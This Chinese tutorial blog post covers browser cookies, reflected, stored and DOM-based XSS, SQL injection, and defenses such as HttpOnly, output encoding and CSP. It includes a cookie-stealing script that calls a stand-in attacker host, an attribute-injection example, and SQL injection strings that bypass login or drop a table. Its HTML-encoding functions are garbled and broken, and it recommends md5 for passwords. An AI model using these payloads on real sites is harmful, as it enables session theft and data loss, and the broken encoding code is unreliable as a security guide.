cookie和XSS攻击

cookie是什么?

cookie是一些数据,存储在用户电脑上的文本文件中。

cookie以键值对的形式存储的。如

username=jodie

cookie是用来干什么的?

服务器可以通过cookie获取客户端用户信息

为什么需要通过cookie来获取?

在web服务端向浏览器端发送web页面时,在连接关闭时,服务器端不会记录用户信息。那么下次访问时,服务器如何获取用户端的信息呢,这就需要用到cookie。

服务器端是如何通过cookie获取用户信息的?

1.当用户访问web页面时,用户信息可以记录在cookie中。

2.当用户下一次访问该页面时,属于该页面的cookie会被添加到请求中。服务端通过这中方式来获取用户信息。

javascript如何操作cookie

1.创建

document.cookie=‘username=jodie’;

2.设置过期时间

const expires = new Date()

expires.setTime(expires.getTime()+1*24*60*60*1000);// 过期时间1天后

document.cookie = `username=jodie;expires=${expires.toGMTString()}`

过期时间如果不设置,默认关闭浏览器的时候cookie删除

3.设置path,告诉浏览器cookie的路径

document.cookie = `username=jodie;path=/`; // path=/ 为当前网站根目录

如果不设置path,默认cookie属于当前页面

path应当以/结尾

同名的cookie不同的path属于不同的cookie,如:

‘id=1;path=/path/’;

‘id=2;path=/path’;

‘id=3;path=path/’;

以上代码,前两句是相对应站点跟目录的网页目录,第三句是相对于当前目录的路径。

path之间有大小写区分,下边的两个cookie不同,

‘id=1;path=/path/’;

‘id=2;path=/Path/’;

path不可读,只可写,不可更改

如果我们试图更改path实际上我们是另外写了一个cookie而不是更改了path的值

path的权限有继承性

例如指定了/test/,那么/test/及其之下的目录也都有权限读取该cookie

4.读取cookie

var x = document.cookie

5.删除cookie

只要设置expires的值为以前的时间即可,如

const expires = new Date()

expires.setTime(expires.getTime()-1*24*60*60*1000);// 前一天

document.cookie = `username=;expires=${expires.toGMTString()}`

删除时候cookie的值可以不设置

关联问题

为什么设置cookie使用格林威治时间

https://blog.csdn.net/an_gentle_killer/article/details/118071593

XSS是什么?

XSS(cross site scripting 跨站脚本攻击)。XSS的重点不在与跨站点,而在于脚本执行。其原理是:恶意攻击者在web页面中插入一些恶意的script代码。当用户浏览该页面时候,嵌入的script代码会被执行,因此达到恶意攻击用户的目的。

XSS分类:

反射型、存储型、DOM-based型。

其中反射型和DOM-based型为非持久性攻击,存储型为持久性攻击。

反射型是什么

比如:攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接的时候,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者浏览器上,从而浏览器就执行了该脚本。

其攻击步骤如下:

1.攻击者在url后边的参数中计入恶意攻击代码。

2.当用户打开带有恶意代码的url的时候,网站将恶意代码从url中取出,并拼接在html中返回给浏览器。

3.用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。

4.攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如cookie等信息,然后使用该信息来冒充合法用户的行为,调用目标网站接口执行攻击等操作。

存储型XSS是什么

比如一个博客网站,攻击者在上边发布了一片文章,内容为<script>window.open(“www.gongji.com?param”=document.cookie)</script>window.open(“www.gongji.com?param”=document.cookie)。

如果我们不对文章进行任何处理直接存入数据库中,那么下一次当其他用户访问该文章的时候,服务器会从数据库中读取然后响应给客户端,那么浏览器就会执行这段脚本,然后攻击者就会获得用户的cookie,然后把cookie发送到攻击者的服务器上了。

因此存储型的xss的攻击步骤如下:

1.攻击者将恶意代码提交到目标网站数据库中。

2.用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器总。

3.用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。

4.恶意代码执行后,就能获取到用户数据,比如上边的cookie等信息,那么攻击者拿着该cookie会冒充用户,调用目标网站的接口等违法操作。

如何防范?

前/后端对特殊字符进行过滤或者替换成HTML编码

DOM-BASED型XSS是什么

比如客户端从url中提取到数据并且在本地执行,此时如果url中存在恶意的js脚本,我们的应用程序就可能收到DOM-based XSS攻击。因此DOM型xss攻击步骤如下

1. 攻击者构造出特殊的URL、在其中可能包含恶意代码。

2. 用户打开带有恶意代码的URL。

3. 用户浏览器收到响应后解析执行。前端使用js取出url中的恶意代码并执行。

4. 执行时,恶意代码窃取用户数据并发送到攻击者的网站中,那么攻击者网站拿到这些数据去冒充用户的行为操作。调用目标网站接口执行攻击者一些操作。

SQL注入是什么

比如有一个登录框,需要输入用户名和密码后,但是我们输入的密码是这样的’or ’123’ = ‘123。我们在查询用户名和密码是否正确的时候,本来的执行sql语句是:

select * from user where username= ‘ ‘ and password = ‘ ‘. 这样的sql语句,现在我们将输入密码’or ’123’ = ‘123,此时sql语句就变成了select * from user where username= ‘ ‘ and password = ‘ ’or ’123’ = ‘123‘;会有一个or语句,只要这两个有一个是正确的话条件就成立,因为123=123是成立的。因此验证就会被跳过。这只是一个简单的例子,比如密码还可以这样:’;drop table user;.这样的话sql命令就变成了select * from user where username= ‘ ‘ and password =‘’;drop table user;那么我们会把user表直接删除了。

SQL被攻击的原因是:SQL语句伪造参数,然后对参数进行拼接后形成XSS的SQL攻击语句。最后导致数据库被攻击了。

防范方法

1.使用预编译语句(PreparedStatement,这样的话即使我们使用SQL语句伪造成参数,到服务端,这个伪造SQL语句的参数也只是个简单的字符)

2.数据库中的密码不应明文存储,可以对密码进行md5加密。

要如何来防范XSS攻击

1.cookie安全策略

在服务器端设置cookie的时候设置http-only,这样就可以防止用户通过js获取cookie。

对cookie的读写或发送一般有如下字段进行设置:

http-only:只允许http或https请求读取cookie,js代码无法读取cookie(js调用document.cookie获取的结果会过滤掉设置了http-only的值)。但是发送请求时却会发送。

secure-only:只允许https请求读取,发送请求时自动带上cookie

host-only:只允许主机域名与domain设置完全一致的网站才能访问cookie

2.X-XSS-Protection设置

目前该属性被所有主流浏览器默认开启XSS保护。该参数时设置在响应头中用来防范xss攻击的。它有如下几种配置:

0:禁用xss保护

1:启用xss保护

1;mode=block;启用xss保护,并且在检查xss攻击时,停止渲染页面

3.XSS防御HTML编码

对HTML字符串转码,将不可信的数据进行HTML编码

编码规则:将&<>”’/转译为尸体字符,以下为转译代码

// 使用正则表达式实现html编码

    function htmlEncodeByRegExp(str) {

      var s = '';

      if (str.length === 0) {

        return s;

      }

      return (s + str)

        .replace(/&/g, "&")

        .replace(/

        .replace(/>/g, ">")

        .replace(/ /g, " ")

        .replace(/\'/g, "'")

        .replace(/\"/g, """)

        .replace(/\//g, '/');

    }

    // 使用正则表达式实现html解码

    function htmlDecodeByRegExp(str) {

      var s = '';

      if (str.length === 0) {

        return s;

      }

      return (s + str)

        .replace(/&/g, "&")

        .replace(/

        .replace(/>/g, ">")

        .replace(/ /g, " ")

        .replace(/'/g, "\'")

        .replace(/"/g, "\"")

        .replace(///g, "\/");

    }

4. XSS防御HTML Attribute编码

和HTML编码一样,html中的属性也要进行编码;如name=‘name’,如果那么被这只为” ” onclick=“alert(‘xss’)” 这样input就变成了 <input name=” ” onclick=“alert(‘xss’)”  …/>,input属性的那么被插入onclick事件了,因此我们需要将不可信数据放入html属性时,需要进行html Attribute编码。

编码规则:将特殊字符(除了字符、数字以外),使用&#x;字符转为charCode再转为16进制格式来转译ASCII值小于256的所有字符

function encodeForHTMLAttibute(str) {

      let encoded = '';

      for(let i = 0; i < str.length; i++) {

        let ch = hex = str[i];

        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {

          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';

        }

        encoded += hex;

      }

      return encoded;

   };

5.XSS防御之javascript编码

将特殊字符编码成\x+16进制的形式

function encodeForJavascript(str) {

  let encoded = '';

  for(let i = 0; i < str.length; i++) {

    let cc = hex = str[i];

    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {

      hex = '\\x' + cc.charCodeAt().toString(16);

    }

    encoded += hex;

  }

  return encoded;

};

6.XSS防御之URL编码

编码规则:将参数进行encodeURIComponent编码

7.XSS防御之CSS编码

除了字母数字以外,使用\XXXXXX格式转译ASCII值小于256的所有字符

function encodeForCSS (attr, str){

  let encoded = '';

  for (let i = 0; i < str.length; i++) {

    let ch = str.charAt(i);

    if (!ch.match(/[a-zA-Z0-9]/) {

      let hex = str.charCodeAt(i).toString(16);

      let pad = '000000'.substr((hex.length));

      encoded += '\\' + pad + hex;

    } else {

      encoded += ch;

    }

  }

  return encoded;

};

8.开启CSP网页安全政策防止XSS攻击

Content-Security-Policy 中文的意思是 网页安全政策,

CSP是网页安全政策(Content Security Policy)的缩写。主要用来防止XSS攻击。是一种由开发者定义的安全性政策申明,通过CSP所约束的责任指定可信的内容来源,通过 Content-Security-Policy 网页的开发者可以控制整个页面中 外部资源 的加载和执行。

比如可以控制哪些 域名下的静态资源可以被页面加载,哪些不能被加载。这样就可以很大程度的防范了 来自 跨站(域名不同) 的脚本攻击。

如何使用呢?

我们只需要在meta属性中设置下即可:如下代码:

<meta http-equiv="Content-Security-Policy" content="">

比如如下的列子:

<meta http-equiv="Content-Security-Policy" content="

default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;

style-src 'self' 'unsafe-inline' *.yyy.com;

script-src 'self' 'unsafe-inline' 'unsafe-eval' ;

">

默认设置(default-src):信任 http ,https协议资源,信任当前域名资源,信任符合*.xxx.com的域名资源;

CSS设置(style-src):信任当前域名资源,允许内嵌的CSS资源,信任来自*.yyy.com下的CSS资源;

JS设置(script-src):信任当前域名资源,允许内嵌的JS执行,允许将字符串当作代码执行;

有如下类别

default-src 给下面所有的规则设定一个默认值

script-src 外部脚本

style-src 样式表

img-src 图像

media-src 媒体文件(音频和视频)

font-src 字体文件

object-src 插件(比如 Flash)

child-src 框架

frame-ancestors 嵌入的外部资源(比如、<iframe>、和)

connect-src HTTP 连接(通过 XHR、WebSockets、EventSource等)

worker-src worker脚本

manifest-src manifest 文件

script-src有如下属性值:

unsafe-inline 允许执行页面内嵌的<script>标签和事件监听函数

unsafe-eval

允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数

nonce

每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行

hash

列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,236评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,867评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,715评论 0 340
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,899评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,895评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,733评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,085评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,722评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,025评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,696评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,816评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,447评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,057评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,009评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,254评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,204评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,561评论 2 343

推荐阅读更多精彩内容